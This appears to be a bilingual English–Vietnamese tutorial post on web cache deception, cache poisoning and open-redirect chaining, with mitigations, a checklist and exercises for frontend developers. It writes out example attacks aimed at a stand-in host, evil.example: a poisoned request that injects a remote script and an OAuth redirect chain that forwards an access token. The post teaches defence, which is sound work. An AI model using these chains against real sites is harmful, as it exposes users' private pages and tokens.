jvinhit//lab

Search posts

Type to search across journal entries.

navigate open esc close

Web Security for Frontend Devs · Part 16 — Web Cache Deception & Open-Redirect Chaining

Advanced-track finale: how path-confusion caching serves a private response to an attacker, how unkeyed input poisons a shared cache, and how open redirects chain into OAuth token theft and CSP bypass. With a simulator and exercises.

Part 16 — Advanced track (finale) in the Web Security for Frontend Devs series {Phần 16 — Nhánh nâng cao (bài chốt) trong series Web Security for Frontend Devs}. Previous {Trước}: Part 15 — JWT & Token Attacks · Next {Tiếp}: Part 17 — Supply-Chain Attacks via npm install (bonus track) {(nhánh bonus)}.

The advanced track closes with two bugs that live in the infrastructure between your code and the user — the cache — and in a primitive you met in Part 10 — the open redirect — now used as a chaining tool {Nhánh nâng cao khép lại với hai lỗi nằm ở hạ tầng giữa code và người dùng — cache — và một primitive bạn gặp ở Phần 10open redirect — giờ dùng làm công cụ chuỗi}. Neither is “frontend code” in the narrow sense, yet both are shaped by how your frontend builds URLs and sets cache headers {Cả hai không phải “code frontend” theo nghĩa hẹp, nhưng đều bị định hình bởi cách frontend dựng URL và đặt header cache}.


Web Cache Deception (WCD) {Web Cache Deception (WCD)}

CDNs and reverse proxies cache static assets to be fast {CDN và reverse proxy cache asset tĩnh cho nhanh}. The cache decides “this is static” with a crude rule — usually the URL’s file extension (.css, .js, .jpg) — while the origin decides what to return with different routing logic {Cache quyết định “tĩnh” bằng quy tắc thô — thường là đuôi file của URL — còn origin quyết định trả gì bằng logic định tuyến khác}. Web cache deception lives in that disagreement {Web cache deception sống trong sự bất đồng đó}.

The classic attack {Tấn công kinh điển}:

1. Victim is logged in. Attacker sends them a link:
     https://site.com/account/settings/notreal.css
2. The ORIGIN ignores the extra "/notreal.css" segment (loose routing)
   and returns the victim's PRIVATE /account/settings page (200, with their data).
3. The CDN sees ".css" → "static, cacheable" → stores the private response
   under the key /account/settings/notreal.css.
4. Attacker requests the SAME url → CDN serves the cached copy =
   the victim's private page, including PII / CSRF tokens.

No XSS, no stolen cookie — the attacker simply reads the victim’s response out of a shared cache {Không XSS, không trộm cookie — kẻ tấn công chỉ đọc phản hồi của nạn nhân từ cache dùng chung}. The root causes are path confusion (origin and cache parse the URL differently) and caching by extension instead of by Cache-Control {Nguyên nhân gốc là nhầm pathcache theo đuôi thay vì theo Cache-Control}.

Fixes {Cách sửa}:

  • Cache based on the origin’s Cache-Control/Content-Type, not the URL suffix; never cache responses to authenticated routes {Cache theo Cache-Control/Content-Type của origin, không theo đuôi URL; không cache phản hồi route đã xác thực}.
  • Set Cache-Control: no-store (or private) on every authenticated/personalized response {Đặt Cache-Control: no-store (hoặc private) trên mọi phản hồi đã xác thực/cá nhân hóa}.
  • Make the origin reject unexpected path suffixes (strict routing → 404, not 200) {Bắt origin từ chối đuôi path bất ngờ (định tuyến chặt → 404, không 200)}.
  • Align cache and origin URL parsing (normalize, no “loose” trailing segments) {Đồng bộ cách parse URL của cache và origin}.

Web Cache Poisoning (the mirror image) {Web Cache Poisoning (ảnh phản chiếu)}

WCD leaks one user’s response out of the cache; cache poisoning puts attacker content into the cache for everyone {WCD làm rò phản hồi của một user ra; cache poisoning đưa nội dung kẻ tấn công vào cache cho mọi người}. It happens when a response varies on an unkeyed input — something the cache ignores when building its key but the origin still reflects {Xảy ra khi phản hồi biến đổi theo input không-keyed — thứ cache bỏ qua khi tạo key nhưng origin vẫn phản chiếu}:

GET /home HTTP/1.1
X-Forwarded-Host: evil.example          ← unkeyed; reflected into an absolute URL
→ response body builds <script src="https://evil.example/app.js">
→ cached under key "/home" and served to every visitor

Fixes {Cách sửa}: don’t reflect untrusted headers (X-Forwarded-Host, X-Forwarded-Scheme, etc.) into responses; include any input that legitimately varies output in the cache key (or Vary); and audit what your CDN keys on {Đừng phản chiếu header không tin cậy vào phản hồi; đưa input ảnh hưởng output vào cache key (hoặc Vary); và rà CDN key theo gì}.


Open-redirect chaining {Chuỗi open redirect}

Part 10 fixed open redirects with path allowlists {Phần 10 sửa open redirect bằng allowlist path}. Here is why they matter so much: an open redirect is rarely the final bug — it is a link in a chain {Đây là vì sao chúng quan trọng đến vậy: open redirect hiếm khi là lỗi cuối — nó là mắt xích trong chuỗi}.

Chain 1 — OAuth token / code theft {Chuỗi 1 — trộm token / code OAuth}. If an authorization server allows a redirect_uri that lands on a page with an open redirect, the flow bounces the authorization code or access token (often in the URL fragment) onward to the attacker {Nếu authorization server cho redirect_uri tới trang có open redirect, flow đẩy code/token (thường trong fragment) sang kẻ tấn công}:

https://auth.example.com/authorize
  ?client_id=app&response_type=token
  &redirect_uri=https://app.example.com/cb?next=https://evil.example
→ app.example.com/cb receives the token, then its open `next=` redirect
  forwards location (with #access_token=…) to evil.example

Chain 2 — bypassing a same-origin / referrer filter {Chuỗi 2 — vượt bộ lọc same-origin / referrer}. A feature that “only allows links to our own domain” can be defeated if your domain hosts an open redirect — the attacker links to https://you.com/r?u=https://evil.com, which is your domain, passing the filter before bouncing away {Tính năng “chỉ cho link tới domain mình” bị vượt nếu domain bạn có open redirect}.

Chain 3 — CSP allowlist bypass {Chuỗi 3 — vượt allowlist CSP}. As shown in Part 13, an open redirect on an allowlisted script host lets an attacker load script from elsewhere while still satisfying CSP {Như Phần 13, open redirect trên host script allowlist cho phép nạp script từ nơi khác mà vẫn thỏa CSP}.

Fixes {Cách sửa}: the Part 10 allowlist still applies — allow only relative, known paths; for OAuth, the authorization server must use exactly pre-registered redirect URIs and prefer Authorization Code + PKCE so a leaked URL is not a usable token (Part 5) {allowlist Phần 10 vẫn áp dụng — chỉ cho path tương đối, đã biết; OAuth phải dùng redirect URI đăng ký sẵn chính xác và ưu tiên Authorization Code + PKCE (Phần 5)}.


Try it — Web Cache Deception simulator {Thử ngay — trình mô phỏng Web Cache Deception}

Send a request, then toggle how the origin routes the URL and how the CDN decides to cache — and watch whether a victim’s private response gets stored and replayed to an attacker {Gửi một request, rồi bật/tắt cách origin định tuyến URL và cách CDN quyết định cache — xem phản hồi riêng tư của nạn nhân có bị lưu và phát lại cho kẻ tấn công không}.

Open the full demo {Mở demo đầy đủ}: /tools/cache-deception-demo/.


Prevention checklist {Checklist phòng tránh}

  1. Authenticated/personalized responses: Cache-Control: no-store (or private) {Phản hồi đã xác thực: Cache-Control: no-store}.
  2. Cache by the origin’s caching headers, never by URL extension {Cache theo header của origin, không theo đuôi URL}.
  3. Make routing strict — unexpected suffixes return 404, not the private page {Định tuyến chặt — đuôi lạ trả 404}.
  4. Never reflect unkeyed/untrusted headers into responses; key or Vary on anything that changes output {Không phản chiếu header không-keyed/không tin cậy; key/Vary theo input ảnh hưởng output}.
  5. Open redirects: relative path allowlists (Part 10); OAuth uses pre-registered redirect URIs + PKCE (Part 5) {Open redirect: allowlist path tương đối; OAuth dùng redirect URI đăng ký sẵn + PKCE}.
  6. Audit allowlisted hosts (CSP, link filters) for redirects that turn them into bypasses (Part 13) {Rà host allowlist tìm redirect biến chúng thành bypass (Phần 13)}.

Bài tập / Exercises

1. Why does https://site.com/account/profile/x.js sometimes return the victim’s profile and get cached? Name the two root causes. {Vì sao URL trên đôi khi trả profile nạn nhân bị cache? Nêu hai nguyên nhân gốc.}

Solution {Lời giải}

(1) Path confusion: the origin uses loose routing and serves /account/profile while ignoring the extra /x.js segment, returning a 200 private page {Nhầm path: origin định tuyến lỏng, trả /account/profile, bỏ qua /x.js}. (2) Caching by extension: the CDN sees .js and caches the response regardless of its Cache-Control, storing the private body under the attacker-known URL {Cache theo đuôi: CDN thấy .js và cache bất kể Cache-Control}. Fix both: no-store on authenticated routes, strict routing (404 on unknown suffix), and cache by origin headers {Sửa cả hai}.

2. An OAuth client registers redirect_uri = https://app.com/callback. The callback honors ?next= with no allowlist. Describe the token-theft chain and the two fixes. {Client OAuth đăng ký redirect_uri. Callback nhận ?next= không allowlist. Mô tả chuỗi trộm token và hai cách sửa.}

Solution {Lời giải}

The attacker starts the flow with redirect_uri=https://app.com/callback?next=https://evil.com; the authorization server returns to the registered host, and the callback’s open next= then forwards the URL — including a token in the fragment — to evil.com {Kẻ tấn công bắt đầu flow với next=https://evil.com; server trả về host đã đăng ký, rồi next= mở chuyển URL (kèm token trong fragment) sang evil.com}. Fixes: (1) allowlist next to relative known paths (Part 10); (2) use Authorization Code + PKCE so a leaked redirect URL carries a code that is useless without the verifier (Part 5) {Sửa: (1) allowlist next (Phần 10); (2) Authorization Code + PKCE (Phần 5)}.

3. Your CDN caches by extension. List the single response header that most directly prevents WCD on /account/*, and one origin-side change that also helps. {CDN cache theo đuôi. Nêu một header phản hồi ngăn WCD trực tiếp nhất trên /account/*, và một thay đổi phía origin cũng giúp.}

Solution {Lời giải}

Header: Cache-Control: no-store (or private) on every /account/* response, and configure the CDN to honor it instead of caching by extension {Header: Cache-Control: no-store trên mọi /account/*, và cấu hình CDN tôn trọng nó}. Origin-side: strict routing so /account/profile/x.js returns 404 rather than the profile page — removing the path-confusion precondition entirely {Phía origin: định tuyến chặt để URL lạ trả 404}.

Stretch {Nâng cao}: In the simulator, find the toggle combination that leaks the private page, then change exactly one setting to make it safe — note which single control is the strongest mitigation {Trong simulator, tìm tổ hợp làm rò trang riêng tư, rồi đổi đúng một thiết lập để an toàn — ghi lại control nào là biện pháp mạnh nhất}.


Key takeaways {Điểm chính}

  • Web cache deception = path confusion + caching by extension → a shared cache stores and replays one user’s private response {WCD = nhầm path + cache theo đuôi → cache dùng chung lưu và phát lại phản hồi riêng tư}.
  • Cache poisoning = unkeyed input reflected into a cached response → attacker content served to everyone {Cache poisoning = input không-keyed phản chiếu → nội dung kẻ tấn công cho mọi người}.
  • The cure is Cache-Control: no-store on private responses, caching by origin headers, strict routing, and not reflecting untrusted headers {Cách chữa: no-store, cache theo header origin, định tuyến chặt, không phản chiếu header lạ}.
  • Open redirects chain into OAuth token theft, filter bypass, and CSP bypass — fix with relative allowlists and pre-registered OAuth redirect URIs + PKCE {Open redirect chuỗi thành trộm token OAuth, vượt lọc, vượt CSP — sửa bằng allowlist tương đối + redirect URI đăng ký sẵn + PKCE}.

The advanced track {Nhánh nâng cao}

That completes the advanced track (Parts 11–16) on top of the core ten {Hoàn tất nhánh nâng cao (Phần 11–16) trên nền mười phần lõi}:

  1. Prototype Pollution — poisoning shared object defaults {nhiễm mặc định object dùng chung}.
  2. DOM Clobbering — scriptless overwriting of globals via id/name {ghi đè global không-script qua id/name}.
  3. Strict CSP & CSP Bypasses — why allowlists fail and nonce + 'strict-dynamic' wins {vì sao allowlist hỏng}.
  4. postMessage & Cross-Window Exploits — origin checks done right {kiểm origin đúng cách}.
  5. JWT & Token Attacksalg confusion and why the browser never decides authz {nhầm alg và vì sao trình duyệt không quyết định authz}.
  6. Web Cache Deception & Open-Redirect Chaining (you are here).

Plus a bonus track that steps one layer earlier — the build itself {Cộng thêm một nhánh bonus lùi về sớm hơn một lớp — chính bước build}:

  1. Supply-Chain Attacks via npm install — why installing a dependency is code execution, and how to defend it {vì sao cài dependency là thực thi code, và cách phòng thủ}.
  2. Reverse Tabnabbing & window.opener — how a link you open can repaint your tab into a phishing page {link bạn mở có thể vẽ lại tab bạn thành trang phishing}.
  3. Clipboard & Autofill Attacks — pastejacking, ClickFix, and hidden autofill harvesting {pastejacking, ClickFix, và thu hoạch autofill ẩn}.

The thread tying all six together is the same boundary lesson from Part 10: trust nothing the client controls — defaults, names, messages, tokens, URLs, or cache keys — until it has been verified on a surface you actually own {Sợi chỉ nối cả sáu là bài học biên từ Phần 10: đừng tin thứ gì client kiểm soát — mặc định, tên, message, token, URL, hay cache key — cho đến khi được verify trên bề mặt bạn thực sự sở hữu}.